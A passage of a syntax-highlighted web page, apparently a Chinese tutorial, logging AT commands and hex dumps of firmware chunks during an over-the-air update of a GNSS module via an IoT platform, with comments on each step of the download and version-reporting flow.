</span></span></span><span class="line"><span class="cl"><span class="s2">0360-0380: FC 0E 00 04 00 02 12 A2  38 B5 09 4C 63 78 01 2B  05 46 06 D0 07 48 00 21  0C 22 00 F0 2E F8 01 23    ........8..Lcx.+.F...H.!.&#34;</span>.....#
</span></span><span class="line"><span class="cl">0380-03A0: <span class="m">63</span> <span class="m">70</span> <span class="m">04</span> <span class="m">48</span> <span class="m">29</span> <span class="m">46</span> <span class="m">00</span> F0  <span class="m">34</span> F8 <span class="m">00</span> <span class="m">20</span> <span class="m">38</span> BD <span class="m">00</span> BF  FC 0E <span class="m">00</span> <span class="m">04</span> <span class="m">00</span> <span class="m">03</span> <span class="m">12</span> A2  <span class="m">80</span> <span class="m">69</span> <span class="m">70</span> <span class="m">47</span> C3 <span class="m">00</span> <span class="m">19</span> 1A    cp.H<span class="o">)</span>F..4.. 8............ipG....
</span></span><span class="line"><span class="cl">03A0-03C0: 0A <span class="m">22</span> B1 FB F2 F1 <span class="m">06</span> <span class="m">22</span>  <span class="m">10</span> B5 <span class="m">42</span> <span class="m">43</span> <span class="m">64</span> <span class="m">24</span> B2 FB  F4 F2 0A <span class="m">44</span> <span class="m">02</span> EB <span class="m">40</span> <span class="m">10</span>  4F F4 7A <span class="m">72</span> B3 FB F2 F3    .<span class="s2">&#34;.....&#34;</span>..BCd$.....D..@.O.zr....
</span></span><span class="line"><span class="cl">03C0-03E0: <span class="m">18</span> <span class="m">44</span> <span class="m">10</span> BD <span class="m">08</span> B5 <span class="m">34</span> <span class="m">20</span>  <span class="m">00</span> F0 0C FB <span class="m">20</span> B9 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">OK
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTOTARD<span class="o">=</span>974,974
</span></span><span class="line"><span class="cl">+QIOTOTARD: 974,974
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">0000-0020: <span class="m">34</span> <span class="m">20</span> BD E8 <span class="m">08</span> <span class="m">40</span> <span class="m">04</span> F2  <span class="m">44</span> BD <span class="m">08</span> BD <span class="m">70</span> B5 <span class="m">04</span> <span class="m">46</span>  0D <span class="m">46</span> <span class="m">16</span> <span class="m">46</span> <span class="m">35</span> <span class="m">43</span> FF F7  EE FF <span class="m">40</span> F2 <span class="m">01</span> <span class="m">33</span> A5 <span class="m">60</span>    <span class="m">4</span> ...@..D...p..F.F.F5C....@..3.<span class="sb">`</span>
</span></span><span class="line"><span class="cl">0020-0040: <span class="m">23</span> <span class="m">60</span> <span class="m">70</span> BD <span class="m">82</span> <span class="m">69</span> <span class="m">83</span> <span class="m">69</span>  9B 1A 8B <span class="m">42</span> FB D9 <span class="m">70</span> <span class="m">47</span>  <span class="m">00</span> <span class="m">00</span> 0B <span class="m">28</span> <span class="m">00</span> F2 <span class="m">30</span> <span class="m">81</span>  DF E8 <span class="m">10</span> F0 0C <span class="m">00</span> 2F <span class="m">00</span>    <span class="c1">#`p..i.i...B..pG...(..0......./.</span>
</span></span><span class="line"><span class="cl">0040-0060: <span class="m">53</span> <span class="m">00</span> <span class="m">76</span> <span class="m">00</span> <span class="m">98</span> <span class="m">00</span> BB <span class="m">00</span>  DE <span class="m">00</span> <span class="m">03</span> <span class="m">01</span> 0B <span class="m">01</span> 1B <span class="m">01</span>  <span class="m">21</span> <span class="m">01</span> <span class="m">27</span> <span class="m">01</span> <span class="m">91</span> 4B D3 F8  <span class="m">70</span> <span class="m">22</span> <span class="m">42</span> F4 <span class="m">80</span> <span class="m">72</span> C3 F8    S.v.............!.<span class="err">&#39;</span>..K..p<span class="s2">&#34;B..r..
</span></span></span><span class="line"><span class="cl"><span class="s2">0060-0080: 70 22 D3 F8 30 22 61 F3  0A 22 C3 F8 30 22 D3 F8  50 22 42 F4 80 72 C3 F8  50 22 D3 F8 50 22 D2 05    p&#34;</span>..0<span class="s2">&#34;a..&#34;</span>..0<span class="s2">&#34;..P&#34;</span>B..r..P<span class="s2">&#34;..P&#34;</span>..
</span></span><span class="line"><span class="cl">0080-00A0: FB D4 D3 F8 <span class="m">60</span> <span class="m">12</span> <span class="m">84</span> 4A  C1 F3 <span class="m">00</span> <span class="m">21</span> <span class="m">00</span> <span class="m">29</span> F8 D1  D2 F8 <span class="m">70</span> <span class="m">32</span> <span class="m">61</span> F3 <span class="m">08</span> <span class="m">23</span>  <span class="m">20</span> E0 7F 4B D3 F8 <span class="m">70</span> <span class="m">22</span>    ....<span class="sb">`</span>..J...!.<span class="o">)</span>....p2a..# ..K..p<span class="s2">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">00A0-00C0: 42 F0 01 02 C3 F8 70 22  D3 F8 30 22 61 F3 02 02  C3 F8 30 22 D3 F8 50 22  42 F0 01 02 C3 F8 50 22    B.....p&#34;</span>..0<span class="s2">&#34;a.....0&#34;</span>..P<span class="s2">&#34;B.....P&#34;</span>
</span></span><span class="line"><span class="cl">00C0-00E0: D3 F8 <span class="m">50</span> <span class="m">22</span> D0 <span class="m">07</span> FB D4  D3 F8 <span class="m">60</span> <span class="m">12</span> <span class="m">73</span> 4A <span class="m">11</span> F0  <span class="m">01</span> <span class="m">01</span> F9 D1 D2 F8 <span class="m">70</span> <span class="m">32</span>  <span class="m">61</span> F3 <span class="m">00</span> <span class="m">03</span> C2 F8 <span class="m">70</span> <span class="m">32</span>    ..P<span class="s2">&#34;......`.sJ........p2a.....p2
</span></span></span><span class="line"><span class="cl"><span class="s2">00E0-0100: 70 47 6D 4B D3 F8 70 22  42 F4 80 32 C3 F8 70 22  D3 F8 30 22 61 F3 12 42  C3 F8 30 22 D3 F8 50 22    pGmK..p&#34;</span>B..2..p<span class="s2">&#34;..0&#34;</span>a..B..0<span class="s2">&#34;..P&#34;</span>
</span></span><span class="line"><span class="cl">0100-0120: <span class="m">42</span> F4 <span class="m">80</span> <span class="m">32</span> C3 F8 <span class="m">50</span> <span class="m">22</span>  D3 F8 <span class="m">50</span> <span class="m">22</span> D1 <span class="m">03</span> FB D4  D3 F8 <span class="m">60</span> <span class="m">12</span> <span class="m">61</span> 4A C1 F3  <span class="m">00</span> <span class="m">41</span> <span class="m">00</span> <span class="m">29</span> F8 D1 D2 F8    B..2..P<span class="s2">&#34;..P&#34;</span>......<span class="sb">`</span>.aJ...A.<span class="o">)</span>....
</span></span><span class="line"><span class="cl">0120-0140: <span class="m">70</span> <span class="m">32</span> <span class="m">61</span> F3 <span class="m">10</span> <span class="m">43</span> D9 E7  5C 4B D3 F8 <span class="m">74</span> <span class="m">22</span> <span class="m">42</span> F0  <span class="m">01</span> <span class="m">02</span> C3 F8 <span class="m">74</span> <span class="m">22</span> D3 F8  <span class="m">34</span> <span class="m">22</span> <span class="m">61</span> F3 <span class="m">02</span> <span class="m">02</span> C3 F8    p2a..C..<span class="se">\K</span>..t<span class="s2">&#34;B.....t&#34;</span>..4<span class="s2">&#34;a.....
</span></span></span><span class="line"><span class="cl"><span class="s2">0140-0160: 34 22 D3 F8 54 22 42 F0  01 02 C3 F8 54 22 D3 F8  54 22 D2 07 FB D4 D3 F8  64 12 4F 4A 11 F0 01 01    4&#34;</span>..T<span class="s2">&#34;B.....T&#34;</span>..T<span class="s2">&#34;......d.OJ....
</span></span></span><span class="line"><span class="cl"><span class="s2">0160-0180: F9 D1 D2 F8 74 32 61 F3  00 03 67 E0 4B 4B D3 F8  74 22 42 F4 80 72 C3 F8  74 22 D3 F8 34 22 61 F3    ....t2a...g.KK..t&#34;</span>B..r..t<span class="s2">&#34;..4&#34;</span>a.
</span></span><span class="line"><span class="cl">0180-01A0: 0A <span class="m">22</span> C3 F8 <span class="m">34</span> <span class="m">22</span> D3 F8  <span class="m">54</span> <span class="m">22</span> <span class="m">42</span> F4 <span class="m">80</span> <span class="m">72</span> C3 F8  <span class="m">54</span> <span class="m">22</span> D3 F8 <span class="m">54</span> <span class="m">22</span> D0 <span class="m">05</span>  FB D4 D3 F8 <span class="m">64</span> <span class="m">12</span> 3E 4A    .<span class="s2">&#34;..4&#34;</span>..T<span class="s2">&#34;B..r..T&#34;</span>..T<span class="s2">&#34;......d.&gt;J
</span></span></span><span class="line"><span class="cl"><span class="s2">01A0-01C0: C1 F3 00 21 00 29 F8 D1  D2 F8 74 32 61 F3 08 23  44 E0 39 4B D3 F8 74 22  42 F0 80 72 C3 F8 74 22    ...!.)....t2a..#D.9K..t&#34;</span>B..r..t<span class="s2">&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">01C0-01E0: D3 F8 34 22 61 F3 1A 62  C3 F8 34 22 D3 F8 54 22  42 F0 80 72 C3 F8 54 22  D3 F8 54 22 D1 01 FB D4    ..4&#34;</span>a..b..4<span class="s2">&#34;..T&#34;</span>B..r..T<span class="s2">&#34;..T&#34;</span>....
</span></span><span class="line"><span class="cl">01E0-0200: D3 F8 <span class="m">64</span> <span class="m">12</span> 2D 4A C1 F3  <span class="m">00</span> <span class="m">61</span> <span class="m">00</span> <span class="m">29</span> F8 D1 D2 F8  <span class="m">74</span> <span class="m">32</span> <span class="m">61</span> F3 <span class="m">18</span> <span class="m">63</span> <span class="m">21</span> E0  <span class="m">28</span> 4B D3 F8 <span class="m">74</span> <span class="m">22</span> <span class="m">42</span> F4    ..d.-J...a.<span class="o">)</span>....t2a..c!.<span class="o">(</span>K..t<span class="s2">&#34;B.
</span></span></span><span class="line"><span class="cl"><span class="s2">0200-0220: 80 32 C3 F8 74 22 D3 F8  34 22 61 F3 11 42 C3 F8  34 22 D3 F8 54 22 42 F4  80 32 C3 F8 54 22 D3 F8    .2..t&#34;</span>..4<span class="s2">&#34;a..B..4&#34;</span>..T<span class="s2">&#34;B..2..T&#34;</span>..
</span></span><span class="line"><span class="cl">0220-0240: <span class="m">54</span> <span class="m">22</span> D2 <span class="m">03</span> FB D4 D3 F8  <span class="m">64</span> <span class="m">12</span> 1B 4A C1 F3 <span class="m">00</span> <span class="m">41</span>  <span class="m">00</span> <span class="m">29</span> F8 D1 D2 F8 <span class="m">74</span> <span class="m">32</span>  <span class="m">61</span> F3 <span class="m">10</span> <span class="m">43</span> C2 F8 <span class="m">74</span> <span class="m">32</span>    T<span class="s2">&#34;......d..J...A.)....t2a..C..t2
</span></span></span><span class="line"><span class="cl"><span class="s2">0240-0260: 70 47 15 4B D3 F8 38 22  61 F3 02 02 C3 F8 38 22  70 47 12 4B D3 F8 04 22  01 F0 01 01 61 F3 00 02    pG.K..8&#34;</span>a.....8<span class="s2">&#34;pG.K...&#34;</span>....a...
</span></span><span class="line"><span class="cl">0260-0280: C3 F8 <span class="m">04</span> <span class="m">22</span> D3 F8 <span class="m">04</span> <span class="m">22</span>  <span class="m">61</span> F3 <span class="m">08</span> <span class="m">22</span> C3 F8 <span class="m">04</span> <span class="m">22</span>  <span class="m">70</span> <span class="m">47</span> 0A 4B D3 F8 <span class="m">00</span> <span class="m">22</span>  <span class="m">61</span> F3 <span class="m">00</span> <span class="m">02</span> 0A E0 <span class="m">07</span> 4B    ...<span class="s2">&#34;...&#34;</span>a..<span class="s2">&#34;...&#34;</span>pG.K...<span class="s2">&#34;a......K
</span></span></span><span class="line"><span class="cl"><span class="s2">0280-02A0: D3 F8 00 22 61 F3 08 22  04 E0 04 4B D3 F8 00 22  61 F3 10 42 C3 F8 00 22  70 47 00 00 02 A2 00 00    ...&#34;</span>a..<span class="s2">&#34;...K...&#34;</span>a..B...<span class="s2">&#34;pG......
</span></span></span><span class="line"><span class="cl"><span class="s2">02A0-02C0: 15 A2 10 28 30 B5 00 F0  1F 05 13 D9 A0 F1 30 03  04 2B 13 D9 A0 F1 44 03  15 2B 13 D9 A0 F1 60 03    ...(0.........0..+....D..+....`.
</span></span></span><span class="line"><span class="cl"><span class="s2">02C0-02E0: 11 2B 13 D9 90 28 15 D0  B0 28 2C D1 19 4B 19 4C  1A 4A 12 E0 1A 4B 1A 4C  1B 4A 0E E0 1B 4B 1B 4C    .+...(...(,..K.L.J...K.L.J...K.L
</span></span></span><span class="line"><span class="cl"><span class="s2">02E0-0300: 1C 4A 0A E0 1C 4B 1C 4C  1D 4A 06 E0 1D 4B 1D 4C  1E 4A 02 E0 1E 4B 1E 4C  1F 4A 21 B9 20 68 E8 40    .J...K.L.J...K.L.J...K.L.J!. h.@
</span></span></span><span class="line"><span class="cl"><span class="s2">0300-0320: 00 F0 01 00 30 BD 01 29  04 D1 13 68 A9 40 19 43  11 60 0B E0 02 29 09 D1  1A 68 01 21 01 FA 05 F5    ....0..)...h.@.C.`...)...h.!....
</span></span></span><span class="line"><span class="cl"><span class="s2">0320-0340: 15 43 1D 60 02 E0 4F F0  FF 30 30 BD 00 20 30 BD  00 BF 70 03 15 A2 60 03  15 A2 80 03 15 A2 10 0B    .C.`..O..00.. 0...p...`.........
</span></span></span><span class="line"><span class="cl"><span class="s2">0340-0360: 03 A2 00 0B 03 A2 20 0B  03 A2 40 0B 03 A2 30 0B  03 A2 50 0B 03 A2 70 0B  03 A2 60 0B 03 A2 80 0B    ...... ...@...0...P...p...`.....
</span></span></span><span class="line"><span class="cl"><span class="s2">0360-0380: 03 A2 10 03 15 A2 00 03  15 A2 20 03 15 A2 40 03  15 A2 30 03 15 A2 50 03  15 A2 01 28 24 D1 22 4B    .......... ...@...0...P....(</span>$<span class="s2">.&#34;</span>K
</span></span><span class="line"><span class="cl">0380-03A0: D3 F8 <span class="m">80</span> <span class="m">22</span> <span class="m">02</span> <span class="m">29</span> <span class="m">42</span> F4  <span class="m">80</span> <span class="m">72</span> C3 F8 <span class="m">80</span> <span class="m">22</span> <span class="m">04</span> D1  D3 F8 <span class="m">88</span> <span class="m">22</span> <span class="m">42</span> F0 <span class="m">01</span> <span class="m">02</span>  <span class="m">05</span> E0 <span class="m">03</span> <span class="m">29</span> <span class="m">06</span> D1 D3 F8    ...<span class="s2">&#34;.)B..r...&#34;</span>.....<span class="s2">&#34;B......)....
</span></span></span><span class="line"><span class="cl"><span class="s2">03A0-03C0: 88 22 42 F4 80 72 C3 F8  88 22 2C E0 05 29 04 D1  D3 F8 88 22 42 F4 80 32  F5 E7 14 29 23 D1 D3 F8    .&#34;</span>B..r...<span class="s2">&#34;,..).....&#34;</span>B..2...<span class="o">)</span><span class="c1">#...</span>
</span></span><span class="line"><span class="cl">03C0-03E0: <span class="m">88</span> <span class="m">22</span> <span class="m">42</span> F0 <span class="m">80</span> <span class="m">72</span> EE E7  <span class="m">02</span> <span class="m">28</span> 1C D1 0F 4B                                                            .<span class="s2">&#34;B..r...(...K
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2"># 读这个文件片段完最后一包数据，整个文件下载完成
</span></span></span><span class="line"><span class="cl"><span class="s2">AT+QIOTOTARD=43830,974                              
</span></span></span><span class="line"><span class="cl"><span class="s2">+QIOTOTARD: 43830,126
</span></span></span><span class="line"><span class="cl"><span class="s2">0000-0020: 63 61 74 69 6F 6E 5F 56  32 2E 30 2E 30 2E 41 47  33 33 35 32 5F 45 52 31  00 00 00 00 00 00 00 00    cation_V2.0.0.AG3352_ER1........
</span></span></span><span class="line"><span class="cl"><span class="s2">0020-0040: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 20 2C 20 04 00 00    .......................... , ...
</span></span></span><span class="line"><span class="cl"><span class="s2">0040-0060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00    ................................
</span></span></span><span class="line"><span class="cl"><span class="s2">0060-0080: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  00 00 50 AB 20 04          ..........................P. .
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">OK
</span></span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 发送升级中指令</span>
</span></span><span class="line"><span class="cl">AT+QIOTUPDATE<span class="o">=</span><span class="m">3</span>
</span></span><span class="line"><span class="cl">OK
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 上传新版本号</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">AT+QIOTMCUVER<span class="o">=</span><span class="s2">&#34;GNSS-P0&#34;</span>,<span class="s2">&#34;LC76GABNR12A02S&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 平台回复升级中事件</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10704
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 平台回复升级成功事件</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10705..
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 平台推送开始下载下一个升级组件文件</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10701,<span class="s2">&#34;GNSS-P1&#34;</span>,432,<span class="s2">&#34;2db44eb7576c8bd99a673f4a5cf650f9&#34;</span>,1329991157
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 之后便是和之前一样的流程，下载中、下载完成、读固件数据，更新升级状态和上报新版本</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">## 下载大文件的情况处理</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10701,<span class="s2">&#34;GNSS-P3&#34;</span>,1110736,<span class="s2">&#34;1e1c252ffd1103e4efbaf6ee66ab8830&#34;</span>,1133715339
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10702
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10702                                                                                             ..
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">## 下载完成</span>
</span></span><span class="line"><span class="cl">+QIOTEVT: 7,10703,<span class="s2">&#34;GNSS-P3&#34;</span>,1110736,0,204800
</span></span><span class="line"><span class="cl">AT+QIOTOTARD<span class="o">=</span>0,974
</span></span><span class="line"><span class="cl">+QIOTOTARD: 0,974
</span></span><span class="line"><span class="cl">0000-0020: DF F8 D8 D0 <span class="m">72</span> B6 <span class="m">36</span> <span class="m">48</span>  <span class="m">80</span> <span class="m">47</span> <span class="m">36</span> <span class="m">48</span> <span class="m">36</span> <span class="m">49</span> <span class="m">41</span> <span class="m">60</span>  <span class="m">36</span> <span class="m">49</span> C0 F8 <span class="m">84</span> <span class="m">10</span> <span class="m">36</span> <span class="m">49</span>  C1 <span class="m">60</span> <span class="m">36</span> <span class="m">48</span> <span class="m">36</span> <span class="m">49</span> <span class="m">01</span> <span class="m">60</span>    ....r.6H.G6H6IA<span class="sb">`</span>6I....6I.<span class="sb">`</span>6H6I.<span class="sb">`</span>
</span></span><span class="line"><span class="cl">0020-0040: <span class="m">36</span> <span class="m">48</span> <span class="m">37</span> <span class="m">49</span> <span class="m">01</span> <span class="m">60</span> <span class="m">37</span> <span class="m">48</span>  <span class="m">37</span> <span class="m">49</span> <span class="m">38</span> 4B <span class="m">38</span> 4C <span class="m">39</span> 4A  <span class="m">42</span> F8 <span class="m">04</span> 0B <span class="m">42</span> F8 <span class="m">04</span> 1B  <span class="m">42</span> F8 <span class="m">04</span> 3B <span class="m">14</span> <span class="m">60</span> <span class="m">00</span> <span class="m">20</span>    6H7I.<span class="sb">`</span>7H7I8K8L9JB...B...B..<span class="p">;</span>.<span class="sb">`</span>. 
</span></span><span class="line"><span class="cl">0040-0060: <span class="m">35</span> <span class="m">49</span> <span class="m">26</span> 4A <span class="m">41</span> F8 <span class="m">04</span> 0B  <span class="m">91</span> <span class="m">42</span> FF F4 FB AF <span class="m">33</span> <span class="m">49</span>  <span class="m">33</span> 4A <span class="m">34</span> 4B <span class="m">00</span> F0 EE F8  <span class="m">33</span> <span class="m">49</span> <span class="m">34</span> 4A <span class="m">34</span> 4B <span class="m">00</span> F0    5I<span class="p">&amp;</span>JA....B....3I3J4K....3I4J4K..
</span></span><span class="line"><span class="cl">0060-0080: E9 F8 <span class="m">34</span> 4A <span class="m">34</span> 4B <span class="m">00</span> F0  EE F8 <span class="m">34</span> <span class="m">49</span> <span class="m">34</span> 4A <span class="m">35</span> 4B  <span class="m">00</span> F0 E0 F8 <span class="m">34</span> <span class="m">49</span> <span class="m">35</span> 4A  <span class="m">35</span> 4B <span class="m">00</span> F0 DB F8 <span class="m">35</span> <span class="m">49</span>    ..4J4K....4I4J5K....4I5J5K....5I
</span></span><span class="line"><span class="cl">0080-00A0: <span class="m">35</span> 4A <span class="m">36</span> 4B <span class="m">00</span> F0 D6 F8  <span class="m">35</span> 4A <span class="m">36</span> 4B <span class="m">00</span> F0 DB F8  <span class="m">35</span> 4A <span class="m">36</span> 4B <span class="m">00</span> F0 D7 F8  <span class="m">35</span> <span class="m">49</span> <span class="m">88</span> <span class="m">47</span> <span class="m">01</span> <span class="m">28</span> <span class="m">00</span> F0    5J6K....5J6K....5J6K....5I.G.<span class="o">(</span>..
</span></span><span class="line"><span class="cl">00A0-00C0: <span class="m">17</span> <span class="m">80</span> <span class="m">34</span> <span class="m">49</span> <span class="m">34</span> 4A <span class="m">35</span> 4B  <span class="m">00</span> F0 C4 F8 <span class="m">34</span> <span class="m">49</span> <span class="m">35</span> 4A  <span class="m">35</span> 4B <span class="m">00</span> F0 BF F8 <span class="m">35</span> 4A  <span class="m">35</span> 4B <span class="m">00</span> F0 C4 F8 <span class="m">35</span> <span class="m">49</span>    ..4I4J5K....4I5J5K....5J5K....5I
</span></span><span class="line"><span class="cl">00C0-00E0: <span class="m">35</span> 4A <span class="m">36</span> 4B <span class="m">00</span> F0 B6 F8  <span class="m">35</span> 4A <span class="m">36</span> 4B <span class="m">00</span> F0 BB F8  <span class="m">35</span> <span class="m">48</span> <span class="m">80</span> <span class="m">47</span> <span class="m">35</span> <span class="m">48</span> <span class="m">00</span> <span class="m">47</span>  <span class="m">70</span> <span class="m">47</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">01</span> <span class="m">04</span>    5J6K....5J6K....5H.G5H.GpG......
</span></span><span class="line"><span class="cl">00E0-0100: D5 <span class="m">91</span> <span class="m">00</span> <span class="m">08</span> <span class="m">00</span> <span class="m">00</span> <span class="m">08</span> A2  <span class="m">12</span> <span class="m">00</span> <span class="m">80</span> <span class="m">07</span> <span class="m">00</span> <span class="m">00</span> <span class="m">26</span> <span class="m">00</span>  9A <span class="m">78</span> <span class="m">56</span> <span class="m">14</span> <span class="m">30</span> <span class="m">00</span> <span class="m">08</span> A2  <span class="m">40</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">08</span> <span class="m">00</span> <span class="m">16</span> A2    ..............<span class="p">&amp;</span>..xV.0...@.......
</span></span><span class="line"><span class="cl">0100-0120: <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">17</span> <span class="m">00</span> <span class="m">20</span> <span class="m">14</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">20</span> <span class="m">04</span> 0F <span class="m">00</span> <span class="m">30</span> <span class="m">14</span>  <span class="m">00</span> <span class="m">00</span> <span class="m">30</span> <span class="m">04</span> <span class="m">00</span> <span class="m">10</span> <span class="m">18</span> E0  <span class="m">00</span> F0 <span class="m">00</span> <span class="m">04</span> <span class="m">60</span> <span class="m">55</span> <span class="m">11</span> <span class="m">08</span>    ...... ... ...0...0.........<span class="sb">`</span>U..
</span></span><span class="line"><span class="cl">0120-0140: <span class="m">00</span> <span class="m">00</span> <span class="m">00</span> <span class="m">04</span> <span class="m">98</span> 2C <span class="m">00</span> <span class="m">04</span>  F8 <span class="m">81</span> <span class="m">11</span> <span class="m">08</span> <span class="m">98</span> 2C <span class="m">00</span> <span class="m">04</span>  <span class="m">70</span> 2D <span class="m">00</span> <span class="m">04</span> <span class="m">70</span> 2D <span class="m">00</span> <span class="m">04</span>  <span class="m">28</span> EE <span class="m">00</span> <span class="m">04</span> F0 <span class="m">31</span> <span class="m">11</span> <span class="m">08</span>    .....,.......,..p-..p-..<span class="o">(</span>....1..
</span></span><span class="line"><span class="cl">0140-0160: <span class="m">00</span> <span class="m">00</span> <span class="m">20</span> <span class="m">14</span> <span class="m">80</span> <span class="m">18</span> <span class="m">20</span> <span class="m">14</span>  <span class="m">70</span> 4A <span class="m">11</span> <span class="m">08</span> <span class="m">80</span> <span class="m">18</span> <span class="m">20</span> <span class="m">14</span>  7C <span class="m">21</span> <span class="m">20</span> <span class="m">14</span> 6C <span class="m">53</span> <span class="m">11</span> <span class="m">08</span>  C0 CB <span class="m">24</span> <span class="m">04</span> <span class="m">90</span> CC <span class="m">24</span> <span class="m">04</span>    .. ... .pJ.... .<span class="p">|</span>! .lS....$...$.
